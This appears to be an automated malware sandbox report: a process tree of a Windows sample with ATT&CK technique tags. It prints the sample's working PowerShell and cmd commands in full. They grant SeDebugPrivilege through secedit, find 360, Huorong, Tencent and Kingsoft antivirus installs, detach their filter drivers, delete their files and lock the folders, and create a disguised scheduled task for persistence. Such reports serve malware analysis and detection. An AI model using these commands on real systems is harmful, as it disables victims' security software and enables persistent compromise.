        System Location Discovery: System Language Discovery
        
        PID:3616
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Data\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1952
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4664
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "[IO.File]::WriteAllBytes([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf'), [Convert]::FromBase64String('//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=')); secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4344
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2340
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c echo.>c:\inst.ini
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2832
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c echo.>c:\inst.ini
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4352
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c echo.>c:\inst.ini
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360safe.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360sd.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1336
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        Hide Artifacts: Ignore Process Interrupts
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:872
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3404
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2832
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3580
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360safe.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2180
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360sd.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
        5⤵
        Command and Scripting Interpreter: PowerShell
        Hide Artifacts: Ignore Process Interrupts
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'ÌÚÑ¶µçÄÔ¹Ü¼Ò' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach TFsFlt $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '½ðÉ½¶¾°Ô' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach kisknl $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:376

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Query Registry

T1012

System Information Discovery